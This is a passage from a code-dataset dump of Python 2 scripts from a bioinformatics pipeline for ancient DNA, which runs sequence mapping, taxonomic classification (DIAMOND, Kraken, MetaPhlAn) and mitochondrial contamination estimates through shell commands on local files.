os.path.isfile(\"Rplots.pdf\"):\n os.remove(\"Rplots.pdf\")\n\n if diamond:\n print \"\\nDIAMOND metagenome analysis, mapping fasta reads to NR NCBI database...\"\n dmnd_output = wd + \"/DMND_output\"\n newdir = dmnd_output\n if overwrite:\n if os.path.exists(newdir):\n shutil.rmtree(newdir)\n os.mkdir(newdir)\n else:\n if os.path.exists(newdir):\n print \"ERROR: Directory \" + newdir + \" exists and overwrite not set to true. Exiting.\"\n exit(1)\n else:\n os.mkdir(newdir)\n\n bar = progressbar.ProgressBar()\n for i in bar(range(bclength)):\n bcline = bc[i]\n bccols = bcline.split()\n in_sample = bccols[0]\n out_sample = bccols[1]\n output = wd + \"/\" + out_sample\n so_s = seqprep_output + \"/\" + in_sample\n bwa_output = wd + \"/\" + out_sample + \"/BWA_\" + key\n bo_s = bwa_output + \"/\" + out_sample\n\n do_s = dmnd_output + \"/\" + out_sample\n\n logfile.write(\"Performing DIAMOND analysis\" + out_sample + \"\\n\")\n bash_command(\"diamond blastx -p \" + threads + \" -t \" + diamondtmp + \" -b \" + diamondblock + \" -q \" + so_s + \".all.SP.cf.rd.fasta -d \" + blastdir + \"/nr.dmnd -o \" + do_s + \".all.SP.cf.rd.dmnd.matches.txt\")\n logfile.write(\"Done with DIAMOND analysis\" + \"\\n\")\n logfile.write(\"----------------------------------------------------\" + \"\\n\")\n\n # \t### turn diamond results into rma files viewable in MEGAN\n bash_command(megandir + \"/tools/blast2rma -i \" + do_s + \".all.SP.cf.rd.dmnd.matches.txt -f BlastTab -r \" + so_s + \".all.SP.cf.rd.fasta -o \" + do_s + \".all.SP.cf.rd.dmnd.matches.rma -g2t \" + blastdir + \"/gi2tax-July2016.bin\")\n\n # \t### turn diamond output into Krona html file for visualization\n bash_command(\n \"ktImportBLAST \" + do_s + \".all.SP.cf.rd.dmnd.matches.txt -o \" + do_s + \".all.SP.cf.rd.dmnd.krona.html\")\n\n\n\n if kraken:\n krkn_output = wd + \"/Kraken_output\"\n newdir = krkn_output\n if overwrite:\n if os.path.exists(newdir):\n shutil.rmtree(newdir)\n os.mkdir(newdir)\n else:\n if os.path.exists(newdir):\n print \"ERROR: Directory \" + newdir + \" exists and overwrite not set to true. Exiting.\"\n exit(1)\n else:\n os.mkdir(newdir)\n\n bar = progressbar.ProgressBar()\n for i in bar(range(bclength)):\n bcline = bc[i]\n bccols = bcline.split()\n in_sample = bccols[0]\n out_sample = bccols[1]\n output = wd + \"/\" + out_sample\n so_s = seqprep_output + \"/\" + in_sample\n bwa_output = wd + \"/\" + out_sample + \"/BWA_\" + key\n bo_s = bwa_output + \"/\" + out_sample\n\n ko_s = krkn_output + \"/\" + out_sample\n\n # \t### runs kraken\n logfile.write(\"Performing Kraken analysis\" + out_sample + \"\\n\")\n bash_command(\"kraken --threads \" + threads + \" --db \" + krakendb + \" \" + so_s + \".all.SP.cf.rd.fasta | kraken-translate --db \" + krakendb + \" | cut -f2 | python /data/scripts/make_counts.py > \" + ko_s + \".kraken4krona\")\n logfile.write(\"Done with Kraken analysis\" + \"\\n\")\n logfile.write(\"----------------------------------------------------\" + \"\\n\")\n\n # \t# output in krona html visual format\n bash_command(\"ktImportText \" + ko_s + \".kraken4krona -o \" + ko_s + \".kraken.krona.html\")\n\n\n print \"\\nCompressing...\"\n\n # Rezip files\n bar = progressbar.ProgressBar()\n for i in bar(range(len(filestorezip))):\n ftrz = filestorezip[i]\n if os.path.isfile(ftrz) and os.path.isfile(ftrz + \".gz\"):\n os.remove(ftrz + \".gz\")\n if os.path.isfile(ftrz):\n with open(ftrz, 'rb') as f_in, gzip.open(ftrz + \".gz\", 'wb') as f_out:\n shutil.copyfileobj(f_in, f_out)\n os.remove(ftrz)\n\n\n delfilelist = []\n #Delete barcode positive files\n if barcodespresent:\n delfilelist.append(rawreads + \"/bcpos-\" + rightnow + \"_S00_L00_R1_001.fastq.gz\")\n delfilelist.append(rawreads + \"/bcpos-\" + rightnow + \"_S00_L00_R2_001.fastq.gz\")\n\n delfilelist.append(bc_trim + \"/bcpos-\" + rightnow + \".woBC_R1.fastq.gz\")\n delfilelist.append(bc_trim + \"/bcpos-\" + rightnow + \".woBC_R2.fastq.gz\")\n delfilelist.append(bc_trim + \"/bcpos-\" + rightnow + \".woBC_R1_unmatched.fastq.gz\")\n delfilelist.append(bc_trim + \"/bcpos-\" + rightnow + \".woBC_R2_unmatched.fastq.gz\")\n delfilelist.append(seqprep_output + \"/bcpos-\" + rightnow + \".F.fq.gz\")\n delfilelist.append(seqprep_output + \"/bcpos-\" + rightnow + \".R.fq.gz\")\n delfilelist.append(seqprep_output + \"/bcpos-\" + rightnow + \".M.fq.gz\")\n delfilelist.append(seqprep_output + \"/SP.bcpos-\" + rightnow + \".stderr.txt\")\n\n else:\n delfilelist.append(rawreads + \"/nobcpos-\" + rightnow + \"_S00_L00_R1_001.fastq.gz\")\n delfilelist.append(rawreads + \"/nobcpos-\" + rightnow + \"_S00_L00_R2_001.fastq.gz\")\n\n delfilelist.append(seqprep_output + \"/nobcpos-\" + rightnow + \".F.fq.gz\")\n delfilelist.append(seqprep_output + \"/nobcpos-\" + rightnow + \".R.fq.gz\")\n delfilelist.append(seqprep_output + \"/nobcpos-\" + rightnow + \".M.fq.gz\")\n\n delfilelist.append(bc_trim + \"/nobcpos-\" + rightnow + \".woBC_R1.fastq.gz\")\n delfilelist.append(bc_trim + \"/nobcpos-\" + rightnow + \".woBC_R2.fastq.gz\")\n delfilelist.append(bc_trim + \"/nobcpos-\" + rightnow + \".woBC_R1_unmatched.fastq.gz\")\n delfilelist.append(bc_trim + \"/nobcpos-\" + rightnow + \".woBC_R2_unmatched.fastq.gz\")\n delfilelist.append(seqprep_output + \"/SP.nobcpos-\" + rightnow + \".stderr.txt\")\n\n\n delfilelist.append(\"posdummy.txt\")\n\n for delfile in delfilelist:\n if os.path.isfile(delfile):\n os.remove(delfile)\n\n if barcodespresent:\n shutil.rmtree(\"bcpos-\" + rightnow)\n else:\n shutil.rmtree(\"nobcpos-\" + rightnow)\n\n\n logfile.close()\n cmdfile.close()\n print \"1_map.py complete.\"\n exit(0)\n\n\n\n\n\n\n\n\n\n\n\n\n\n" }, { "alpha_fraction": 0.5716406106948853, "alphanum_fraction": 0.5833783149719238, "avg_line_length": 42.345027923583984, "blob_id": "e141854c7e2ec3e2e6b8fed76af72cb27b6f8bd0", "content_id": "535d74cf1a2e9d31ce3f2888444df6e609f9ac61", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 7412, "license_type": "no_license", "max_line_length": 435, "num_lines": 171, "path": "/2b_contammix.py", "repo_name": "mjobin/batpipe", "src_encoding": "UTF-8", "text": "#!/usr/bin/python\n\n#####################################\n##### HPG Lab #####\n##### updated April 2018 #####\n##### MJJ #####\n#####################################\n\n# Converted to Python, extended and maintained by Matthew Jobin, UCSC Human Paleogenomics Lab\n## contammix-1.0-10 from Philip Johnson:\n### Caveats:\n### --------\n### The key assumption is that contamination is <50%, and thus that the consensus reflects the authentic sequence. As always with MCMC, achieving convergence can be fiddly. I suggest always graphically checking for convergence in addition to looking at the Gelman-Rubin diagnostic. For some datasets, I have had to tweak the \"alpha\" hyperparameter (this is an option to estimate.R).\n\n\nimport argparse\nfrom argparse import RawTextHelpFormatter\nimport os\nimport sys\nimport progressbar\nimport datetime\nimport gzip\nimport shutil\nimport fnmatch\nimport subprocess\nfrom subprocess import Popen, PIPE\n\n\ndef bash_command(cmd):\n cmdfile.write(cmd)\n cmdfile.write(\"\\n\\n\")\n subp = subprocess.Popen(['/bin/bash', '-c', cmd], stdout=PIPE, stderr=PIPE)\n stdout, stderr = subp.communicate()\n if verbose:\n print stdout\n logfile.write(stdout)\n if verbose:\n print stderr\n logfile.write(stderr)\n return stdout\n\n\nif __name__ == \"__main__\":\n\n print \"\\n****************\\nCONTAMMIX\\n****************\\n\"\n\n parser = argparse.ArgumentParser(description=\"# :\\n\"\n \"The key assumption is that contamination is <50%, and thus that the consensus reflects the authentic sequence. As always with MCMC, achieving convergence can be fiddly. I suggest always graphically checking for convergence in addition to looking at the Gelman-Rubin diagnostic. For some datasets, I have had to tweak the alpha hyperparameter (this is an option to estimate.R).\\n\"\n \"- \", formatter_class=argparse.ArgumentDefaultsHelpFormatter)\n\n\n parser.add_argument('-bc_file', metavar='<bc_file>', help='location of barcode files, Must have a newline at end.', required=True)\n parser.add_argument('-wd', metavar='<wd>', help='Working directory. Defaults to current.', default='.')\n parser.add_argument('-mt311', metavar='<mt311>', help='mt311',\n default='/data/genomes/mt311.fna')\n parser.add_argument('-mia_ref', metavar='<mia_ref>', help='mia ref',\n default='rCRS')\n parser.add_argument('-verbose', dest='verbose', help='Print stdout and stderr to console.',\n action='store_true')\n parser.set_defaults(verbose=False)\n parser.add_argument('-overwrite', dest='overwrite', help='Overwrite existing files and directories.',\n action='store_true')\n parser.set_defaults(overwrite=False)\n parser.add_argument('-seqprep_output', metavar='<seqprep_output>', help='seqprep_output',\n default='/data/adaptertrimmed')\n parser.add_argument('-seqprep_output_in_output', metavar='<seqprep_output_in_output>', help='Prepend output directory to seqprep_output',\n default=False)\n parser.add_argument('-threads', metavar='<threads>', help='To speed up analysis',\n default=\"23\")\n\n\n args = parser.parse_args()\n wd = args.wd\n bcfile = args.bc_file\n mt311 = args.mt311\n mia_ref = args.mia_ref\n overwrite = bool(args.overwrite)\n verbose = bool(args.verbose)\n seqprep_output_orig = args.seqprep_output\n seqprep_output_in_output = bool(args.seqprep_output_in_output)\n threads = args.threads\n\n\n cols311 = mt311.split(\"/\")\n last311 = cols311[len(cols311)-1]\n namecols311 = last311.split(\".\")\n name311 = namecols311[0]\n\n os.chdir(wd)\n cwd = os.getcwd()\n print \"Working in: \", cwd\n\n today = datetime.date.today()\n logfilename = wd + \"/out.contammix.\" + str(today) + \".log\"\n print \"Logging to: \", logfilename\n\n\n logfile = open(logfilename, 'w')\n\n logfile.write(\"Arguments used:\\n\")\n logfile.write(\"__________________________________________:\\n\")\n for arg in vars(args):\n logfile.write(arg)\n logfile.write(\"\\t\")\n logfile.write(str(getattr(args, arg)))\n logfile.write(\"\\n\")\n\n\n cmdfile = open(\"4b_cmds\", 'w')\n\n newdir = wd + \"/contammix\"\n if overwrite:\n if os.path.exists(newdir):\n shutil.rmtree(newdir)\n os.mkdir(newdir)\n else:\n if os.path.exists(newdir):\n print \"ERROR: Directory \" + newdir + \" exists and overwrite not set to true. Exiting.\"\n exit()\n else:\n os.mkdir(newdir)\n\n bcin = open(bcfile, 'r')\n bc = []\n for bcinline in bcin:\n bc.append(bcinline)\n\n bclength = len(bc)\n print \"Number of entries: \", bclength\n\n print \"\\nWorking...\"\n bar = progressbar.ProgressBar()\n for i in bar(range(bclength)):\n bcline = bc[i]\n bccols = bcline.split()\n in_sample = bccols[0]\n out_sample = bccols[1]\n output = wd + \"/\" + out_sample\n mia_output = output + \"/MIA_output\"\n mo_s = mia_output + \"/\" + out_sample\n if seqprep_output_in_output:\n seqprep_output = output + \"/\" + seqprep_output_orig\n else:\n seqprep_output = seqprep_output_orig\n so_s = seqprep_output + \"/\" + in_sample\n cmix_output = wd + \"/contammix\"\n co_s = cmix_output + \"/\" + out_sample\n\n if not os.path.isfile(so_s + \".all.SP.cf.fastq\"):\n with gzip.open(so_s + \".all.SP.cf.fastq.gz\", 'rb') as f_in, open(so_s + \".all.SP.cf.fastq\", 'wb') as f_out:\n shutil.copyfileobj(f_in, f_out)\n\n\n bash_command(\"cat \" + mo_s + \".all.SP.cf.rd.\" + mia_ref + \".maln.F.mia_consensus.fasta \" + mt311 + \" > \" + mo_s + \".allreads.\" + mia_ref + \".\" + name311 + \".fasta\")\n bash_command(\"mafft --auto \" + mo_s + \".allreads.\" + mia_ref + \".\" + name311 + \".fasta > \" + co_s + \".allreads.\" + mia_ref + \".\" + name311 + \".mafft.fasta\")\n bash_command(\"bwa index \" + mo_s + \".all.SP.cf.rd.\" + mia_ref + \".maln.F.mia_consensus.fasta\")\n bash_command(\"bwa aln -l 1024 -n 0.02 -t \" + threads + \" \" + mo_s + \".all.SP.cf.rd.\" + mia_ref +\".maln.F.mia_consensus.fasta \" + so_s + \".all.SP.cf.fastq > \" + co_s + \".all.SP.cf.remapped.sai\")\n bash_command(\"bwa samse \" + mo_s + \".all.SP.cf.rd.\" + mia_ref + \".maln.F.mia_consensus.fasta \" + co_s + \".all.SP.cf.remapped.sai \" + so_s + \".all.SP.cf.fastq > \" + co_s + \".all.SP.cf.remapped.sam\")\n bash_command(\"samtools view -bSh \" + co_s + \".all.SP.cf.remapped.sam > \" + co_s + \".all.SP.cf.remapped.bam\")\n bash_command(\"/data/install/contamMix/exec/estimate.R --samFn \" + co_s + \".all.SP.cf.remapped.bam --malnFn \" + co_s + \".allreads.\" + mia_ref + \".\" + name311 + \".mafft.fasta --figure \" + co_s + \".contammix_fig\")\n\n if os.path.isfile(so_s + \".all.SP.cf.fastq\") and os.path.isfile(so_s + \".all.SP.cf.fastq\" + \".gz\"):\n os.remove(so_s + \".all.SP.cf.fastq\" + \".gz\")\n if os.path.isfile(so_s + \".all.SP.cf.fastq\"):\n with open(so_s + \".all.SP.cf.fastq\", 'rb') as f_in, gzip.open(so_s + \".all.SP.cf.fastq\" + \".gz\", 'wb') as f_out:\n shutil.copyfileobj(f_in, f_out)\n os.remove(so_s + \".all.SP.cf.fastq\")\n\n logfile.close()\n cmdfile.close()\n print \"2b_contammix.py complete.\"\n" }, { "alpha_fraction": 0.5563287138938904, "alphanum_fraction": 0.5611332058906555, "avg_line_length": 33.695404052734375, "blob_id": "44f11c66e5633f0937da77f33f23beec49dab3b7", "content_id": "205f87d648a92d68d2791feed19f5bf537bd47ec", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 6036, "license_type": "no_license", "max_line_length": 229, "num_lines": 174, "path": "/3_metaphlan.py", "repo_name": "mjobin/batpipe", "src_encoding": "UTF-8", "text": "#!/usr/bin/python\n\n#####################################\n##### HPG Lab #####\n##### updated May 2018 #####\n##### MJJ #####\n#####################################\n\n# Converted to Python, extended and maintained by Matthew Jobin, UCSC Human Paleogenomics Lab\n# This script runs 'metaphlan' on fastq files\n# Sequence data should already be trimmed by barcode remover and SeqPrep in SeqPrep output, with complexity of reads filtered\n\nimport argparse\nfrom argparse import RawTextHelpFormatter\nimport os\nimport sys\nimport progressbar\nimport datetime\nimport gzip\nimport shutil\nimport fnmatch\nimport subprocess\nfrom subprocess import Popen, PIPE\n\n\ndef bash_command(cmd):\n cmdfile.write(cmd)\n cmdfile.write(\"\\n\\n\")\n subp = subprocess.Popen(['/bin/bash', '-c', cmd], stdout=PIPE, stderr=PIPE)\n stdout, stderr = subp.communicate()\n if verbose:\n print stdout\n logfile.write(stdout)\n if verbose:\n print stderr\n logfile.write(stderr)\n return stdout\n\n\n\nif __name__ == \"__main__\":\n\n print \"\\n****************\\nMETAPHLAN\\n****************\\n\"\n\n parser = argparse.ArgumentParser(description=\"# Thie script:\\n\"\n \"This script runs 'metaphlan' on fastq files\\n\"\n \"Sequence data should already be trimmed by barcode remover and SeqPrep in SeqPrep output, with complexity of reads filtered\\n\"\n \"\" \"- \", formatter_class=argparse.ArgumentDefaultsHelpFormatter)\n\n\n parser.add_argument('-bc_file', metavar='<bc_file>', help='location of barcode files, Must have a newline at end.', required=True)\n parser.add_argument('-wd', metavar='<wd>', help='Working directory. Defaults to current.', default='.')\n parser.add_argument('-verbose', dest='verbose', help='Print stdout and stderr to console.',\n action='store_true')\n parser.set_defaults(verbose=False)\n parser.add_argument('-overwrite', dest='overwrite', help='Overwrite existing files and directories.',\n action='store_true')\n parser.add_argument('-mpa_pkl', metavar='<mpa_pkl>', help='mpa_pkl',\n default='/data/db/db_v20/mpa_v20_m200.pkl')\n parser.add_argument('-bowtie2db', metavar='<bowtie2db>', help='I thoght this was called Bowie2DB and was momentarily happy',\n default='/data/db/db_v20')\n parser.add_argument('-seqprep_output', metavar='<seqprep_output>', help='seqprep_output',\n default='/data/adaptertrimmed')\n parser.add_argument('-seqprep_output_in_output', metavar='<seqprep_output_in_output>', help='Prepend output directory to seqprep_output',\n default=False)\n\n\n args = parser.parse_args()\n wd = args.wd\n bcfile = args.bc_file\n mpa_pkl = args.mpa_pkl\n bowtie2db = args.bowtie2db\n overwrite = bool(args.overwrite)\n verbose = bool(args.verbose)\n seqprep_output_orig = args.seqprep_output\n seqprep_output_in_output = bool(args.seqprep_output_in_output)\n\n os.chdir(wd)\n cwd = os.getcwd()\n print \"Working in: \", cwd\n\n newdir = wd + \"/Metaphlan\"\n if overwrite:\n if os.path.exists(newdir):\n shutil.rmtree(newdir)\n os.mkdir(newdir)\n else:\n if os.path.exists(newdir):\n print \"ERROR: Directory \" + newdir + \" exists and overwrite not set to true. Exiting.\"\n exit(1)\n else:\n os.mkdir(newdir)\n metadir = newdir\n\n\n today = datetime.date.today()\n logfilename = wd + \"/out.metaphlan.\" + str(today) + \".log\"\n print \"Logging to: \", logfilename\n\n\n logfile = open(logfilename, 'w')\n\n logfile.write(\"Arguments used:\\n\")\n logfile.write(\"__________________________________________:\\n\")\n for arg in vars(args):\n logfile.write(arg)\n logfile.write(\"\\t\")\n logfile.write(str(getattr(args, arg)))\n logfile.write(\"\\n\")\n\n\n cmdfile = open(\"3_cmds\", 'w')\n\n bcin = open(bcfile, 'r')\n bc = []\n for bcinline in bcin:\n bc.append(bcinline)\n\n bclength = len(bc)\n print \"Number of entries: \", bclength\n\n print \"\\nWorking...\"\n bar = progressbar.ProgressBar()\n for i in bar(range(bclength)):\n bcline = bc[i]\n bccols = bcline.split()\n sample = bccols[1]\n output = wd + \"/\" + sample\n if seqprep_output_in_output:\n seqprep_output = output + \"/\" + seqprep_output_orig\n else:\n seqprep_output = seqprep_output_orig\n so_s = seqprep_output + \"/\" + sample\n mo_s = metadir + \"/\" + sample\n\n alllist = []\n\n if not os.path.isfile(so_s + \".all.SP.fq\"):\n\n #Read in F, R, M, read out as all\n partfilename = so_s + \".R.fq\"\n if os.path.isfile(partfilename):\n partfile = open(partfilename, 'r')\n for line in partfile:\n alllist.append(line)\n partfile.close()\n\n partfilename = so_s + \".F.fq\"\n if os.path.isfile(partfilename):\n partfile = open(partfilename, 'r')\n for line in partfile:\n alllist.append(line)\n partfile.close()\n\n partfilename = so_s + \".M.fq\"\n if os.path.isfile(partfilename):\n partfile = open(partfilename, 'r')\n for line in partfile:\n alllist.append(line)\n partfile.close()\n\n alloutname = so_s + \".all.SP.fq\"\n allout = open(alloutname, 'w')\n for line in alllist:\n allout.write(line)\n allout.close()\n\n bash_command(\"metaphlan2.py \" + so_s + \".all.SP.fq --mpa_pkl \" + mpa_pkl + \" --bowtie2db \" + bowtie2db + \" --bt2_ps very-sensitive --bowtie2out \" + mo_s + \".bz2 --input_type fastq > \" + mo_s + \".profiled_metagenome.txt\")\n\n\n logfile.close()\n cmdfile.close()\n print \"3_metaphlan.py complete.\"\n exit(0)" }, { "alpha_fraction": 0.5594183802604675, "alphanum_fraction": 0.5719761848449707, "avg_line_length": 34.190696716308594, "blob_id": "95ae69e83789724d5ad682e17577aa5eac50ae20", "content_id": "72d9a8df8b606bf1904521de8b2538cdd8f32888", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 7565, "license_type": "no_license", "max_line_length": 193, "num_lines": 215, "path": "/2a_contam.py", "repo_name": "mjobin/batpipe", "src_encoding": "UTF-8", "text": "#!/usr/bin/python\n\n#####################################\n##### HPG Lab #####\n##### updated April 2018 #####\n##### MJJ #####\n#####################################\n\n# Converted to Python, extended and maintained by Matthew Jobin, UCSC Human Paleogenomics Lab\n# from Kircher pipeline used at University of Tuebingen 2013\n# M Kircher. Analysis of high-throughput ancient DNA sequencing data. Methods Mol Biol 840:197-228 (2012).\n# Original bash wrapper written by Alissa Mitnik modified by Kelly Harkins, UCSC, 2016\n\nimport argparse\nfrom argparse import RawTextHelpFormatter\nimport os\nimport sys\nimport progressbar\nimport datetime\nimport gzip\nimport shutil\nimport fnmatch\nimport subprocess\nfrom subprocess import Popen, PIPE\n\n\ndef bash_command(cmd):\n cmdfile.write(cmd)\n cmdfile.write(\"\\n\\n\")\n subp = subprocess.Popen(['/bin/bash', '-c', cmd], stdout=PIPE, stderr=PIPE)\n stdout, stderr = subp.communicate()\n if verbose:\n print stdout\n logfile.write(stdout)\n if verbose:\n print stderr\n logfile.write(stderr)\n return stdout\n\n\nif __name__ == \"__main__\":\n\n print \"\\n****************\\nCONTAM\\n****************\\n\"\n\n parser = argparse.ArgumentParser(description=\"# :\\n\"\n \"from Kircher pipeline used at University of Tuebingen 2013s\\n\"\n \"M Kircher. Analysis of high-throughput ancient DNA sequencing data. Methods Mol Biol 840:197-228 (2012).\\n\"\n \"- \", formatter_class=argparse.ArgumentDefaultsHelpFormatter)\n\n\n parser.add_argument('-bc_file', metavar='<bc_file>', help='location of barcode files, Must have a newline at end.', required=True)\n parser.add_argument('-wd', metavar='<wd>', help='Working directory. Defaults to current.', default='.')\n parser.add_argument('-mt311', metavar='<mt311>', help='mt311',\n default='/data/genomes/mt311.fna')\n parser.add_argument('-verbose', dest='verbose', help='Print stdout and stderr to console.',\n action='store_true')\n parser.set_defaults(verbose=False)\n parser.add_argument('-overwrite', dest='overwrite', help='Overwrite existing files and directories.',\n action='store_true')\n parser.set_defaults(overwrite=False)\n\n\n args = parser.parse_args()\n wd = args.wd\n bcfile = args.bc_file\n mt311 = args.mt311\n overwrite = bool(args.overwrite)\n verbose = bool(args.verbose)\n\n\n os.chdir(wd)\n cwd = os.getcwd()\n print \"Working in: \", cwd\n\n today = datetime.date.today()\n logfilename = wd + \"/out.contam.\" + str(today) + \".log\"\n print \"Logging to: \", logfilename\n\n\n logfile = open(logfilename, 'w')\n\n cmdfile = open(\"2a_cmds\", 'w')\n\n\n newdir = wd + \"/ccheck_results\"\n if overwrite:\n if os.path.exists(newdir):\n shutil.rmtree(newdir)\n os.mkdir(newdir)\n else:\n if os.path.exists(newdir):\n print \"ERROR: Directory \" + newdir + \" exists and overwrite not set to true. Exiting.\"\n exit(1)\n else:\n os.mkdir(newdir)\n\n\n rawfilename = \"./ccheck_results/results.raw.contamination.txt\"\n forcedfilename = \"./ccheck_results/results.forced.raw.contamination.txt\"\n rawfile = open(rawfilename, 'w')\n forcedfile = open(forcedfilename, 'w')\n topline = \"Sample\" + \"\\t\" + \"Strongly diagnostic positions\" + \"\\t\" + \"Fragments Orig\" + \"\\t\" + \"Fragments Contam\" + \"\\t\" + \"Fragments total (orig+contam)\" + \"\\t\" + \"Contamination rate\\n\"\n rawfile.write(topline)\n forcedfile.write(topline)\n\n\n bcin = open(bcfile, 'r')\n bc = []\n for bcinline in bcin:\n bc.append(bcinline)\n\n bclength = len(bc)\n print \"Number of entries: \", bclength\n rawdic = {}\n forceddic = {}\n print \"\\nWorking...\"\n bar = progressbar.ProgressBar()\n for i in bar(range(bclength)):\n bcline = bc[i]\n bccols = bcline.split()\n sample = bccols[1]\n output =wd + \"/\" + sample\n mia_output = output + \"/MIA_output\"\n\n # get the highest numbered maln file in the MIA output folder\n\n pattern = sample + \"*.maln*\"\n files = os.listdir(mia_output)\n malnname = None\n oldmalnint = 0\n for name in files:\n\n if (fnmatch.fnmatch(name, pattern)):\n malncols = name.split(\".\")\n malnlen = len(malncols)\n malnlast = malncols[malnlen-1]\n if malnlast.isdigit():\n malnint = int(malnlast)\n if not malnname:\n malnname = name\n elif malnint > oldmalnint:\n malnname = name\n oldmalnint = malnint\n\n\n rawout = bash_command(\"ccheck -a -r \" + mt311 + \" \" + mia_output + \"/\" + malnname)\n rawlines = rawout.splitlines()\n\n rl = len(rawlines)\n diag = \"N/A\"\n fragment_orig = \"N/A\"\n fragment_contam = \"N/A\"\n cont_rate = \"???\"\n fragment_total = \"N/A\"\n if rl >= 11:\n diag = rawlines[7].strip().split(\":\")[1].strip()\n fragment_orig = rawlines[9].split(\":\")[1].strip()\n fragment_contam_cols = rawlines[10].split(\":\")[1].strip()\n fragment_contam = fragment_contam_cols.split()[0]\n cont_rate = ' '.join(fragment_contam_cols.split()[1:])\n\n if fragment_orig.isdigit() and fragment_contam.isdigit():\n\n fragment_total = int(fragment_orig) + int(fragment_contam)\n\n rawoutline = sample + \"\\t\" + str(diag) + \"\\t\" + str(fragment_orig) + \"\\t\" + str(fragment_contam) + \"\\t\" + str(fragment_total) + \"\\t\" + str(cont_rate) + \"\\n\"\n rawfile.write(rawoutline)\n rawdic[sample] = rawoutline\n\n forcedout = bash_command(\"ccheck -a -F -r \" + mt311 + \" \" + mia_output + \"/\" + malnname)\n forcedlines = forcedout.splitlines()\n\n frl = len(forcedlines)\n\n diag_f = \"N/A\"\n fragment_orig_f = \"N/A\"\n fragment_contam_f = \"N/A\"\n cont_rate_f = \"???\"\n fragment_total_f = \"N/A\"\n if frl >= 11:\n diag_f = forcedlines[7].split(\":\")[1].strip()\n fragment_orig_f = forcedlines[9].split(\":\")[1].strip()\n fragment_contam_cols_f = forcedlines[10].split(\":\")[1].strip()\n fragment_contam_f = fragment_contam_cols_f.split()[0]\n cont_rate_f = ' '.join(fragment_contam_cols_f.split()[1:])\n if fragment_orig_f.isdigit() and fragment_contam_f.isdigit():\n fragment_total_f = int(fragment_orig_f) + int(fragment_contam_f)\n\n\n forcedoutline = sample + \"\\t\" + str(diag_f) + \"\\t\" + str(fragment_orig_f) + \"\\t\" + str(fragment_contam_f) + \"\\t\" + str(fragment_total_f) + \"\\t\" + str(cont_rate_f) + \"\\n\"\n forcedfile.write(forcedoutline)\n forceddic[sample] = forcedoutline\n\n\n rawsortfilename = \"./ccheck_results/results.raw.contamination.sorted.txt\"\n forcedsortfilename = \"./ccheck_results/results.forced.raw.contamination.sorted.txt\"\n rawsortfile = open(rawsortfilename, 'w')\n forcedsortfile = open(forcedsortfilename, 'w')\n rawsortfile.write(topline)\n forcedsortfile.write(topline)\n\n for x in sorted(rawdic.keys()):\n rawsortfile.write(x)\n for x in sorted(forceddic.keys()):\n forcedsortfile.write(x)\n\n\n logfile.close()\n cmdfile.close()\n rawfile.close()\n forcedfile.close()\n rawsortfile.close()\n forcedsortfile.close()\n print \"2a_contam.py complete.\"\n exit(0)" }, { "alpha_fraction": 0.4858294725418091, "alphanum_fraction": 0.499891996383667, "avg_line_length": 33.638404846191406, "blob_id": "4b67f7da103d62f93b80463763b7d97e9d1284dd", "content_id": "47f429143e45928961d4844afa9dec3ddc79f33b", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 41671, "license_type": "no_license", "max_line_length": 170, "num_lines": 1203, "path": "/results.py", "repo_name": "mjobin/batpipe", "src_encoding": "UTF-8", "text": "#!/usr/bin/python\n\n#####################################\n##### HPG Lab #####\n##### updated April 2018 #####\n##### MJJ #####\n#####################################\n\n# Converted to Python, extended and maintained by Matthew Jobin, UCSC Human Paleogenomics Lab\n# print a tab delimited file with basic stats.\n# Numbers of raw reads, seqprep results, bwa > summary.txt\n# Based off of K Harkins's bash script\n# this works when certain naming conventions apply:\n\n## 1. Seqprep output is named SP2.libraryID.stderr.txt\n## 2. raw fastq file is named iPCR##-LibraryNumber_S0_L0*_R1_001.fastq\n## 3. sorted BAM files are named: L001.M.cf.hg19.q*.s.bam or fileprefix_allreads.cf.hg19.q*.s.bam\n\nimport argparse\nfrom argparse import RawTextHelpFormatter\nimport os\nimport sys\nimport datetime\nimport gzip\nimport shutil\nimport fnmatch\nimport subprocess\nimport progressbar\nfrom subprocess import Popen, PIPE\n\n\ndef bash_command(cmd):\n cmdfile.write(cmd)\n cmdfile.write(\"\\n\\n\")\n subp = subprocess.Popen(['/bin/bash', '-c', cmd], stdout=PIPE, stderr=PIPE)\n stdout, stderr = subp.communicate()\n if verbose:\n print stdout\n logfile.write(stdout)\n if verbose:\n print stderr\n logfile.write(stderr)\n return stdout\n\n\nif __name__ == \"__main__\":\n\n print \"\\n****************\\nRESULTS\\n****************\\n\"\n\n parser = argparse.ArgumentParser(description=\"# This script:\\n\"\n \"Prints a tab delimited file with basic stats.\\n\\t\"\n \"Numbers of raw reads, seqprep results, bwa > summary.txt\\n\\t\"\n \"This works when certain naming conventions apply:\\n\\t\"\n \"1. Seqprep output is named SP2.libraryID.stderr.txt\\n\\t\"\n \"2. raw fastq file is named iPCR##-LibraryNumber_S0_L0*_R1_001.fastq\\n\\t\"\n \"3. sorted BAM files are named: L001.M.cf.hg19.q*.s.bam or fileprefix_allreads.cf.hg19.q*.s.bam\\n\\t\"\n \"- \", formatter_class=argparse.ArgumentDefaultsHelpFormatter)\n\n parser.add_argument('-bc_file', metavar='<bc_file>', help='location of barcode files, Must have a newline at end.',\n required=True)\n parser.add_argument('-wd', metavar='<wd>', help='Working directory. Defaults to current.', default='.')\n parser.add_argument('-raw', metavar='<raw>', help='Location of raw reads',\n default='/data/raw')\n parser.add_argument('-bwa_ref', metavar='<bwa_ref>', help='bwa_ref',\n default='hg19')\n parser.add_argument('-mito_ref', metavar='<mito_ref>', help='mito_ref',\n default='rCRS')\n parser.add_argument('-wobc_output', metavar='<wobc_output>', help='wobc_output',\n default='/data/barcodetrimmed')\n parser.add_argument('-seqprep_output', metavar='<seqprep_output>', help='seqprep_output',\n default='/data/adaptertrimmed')\n parser.add_argument('-seqprep_output_in_output', metavar='<seqprep_output_in_output>',\n help='Prepend output directory to seqprep_output',\n default=False)\n parser.add_argument('-verbose', dest='verbose', help='Print stdout and stderr to console.',\n action='store_true')\n parser.set_defaults(verbose=False)\n parser.add_argument('-leehom', dest='leehom', help='Use leeHom instead of seqprep.',\n action='store_true')\n parser.set_defaults(leehom=False)\n parser.add_argument('-nomia', 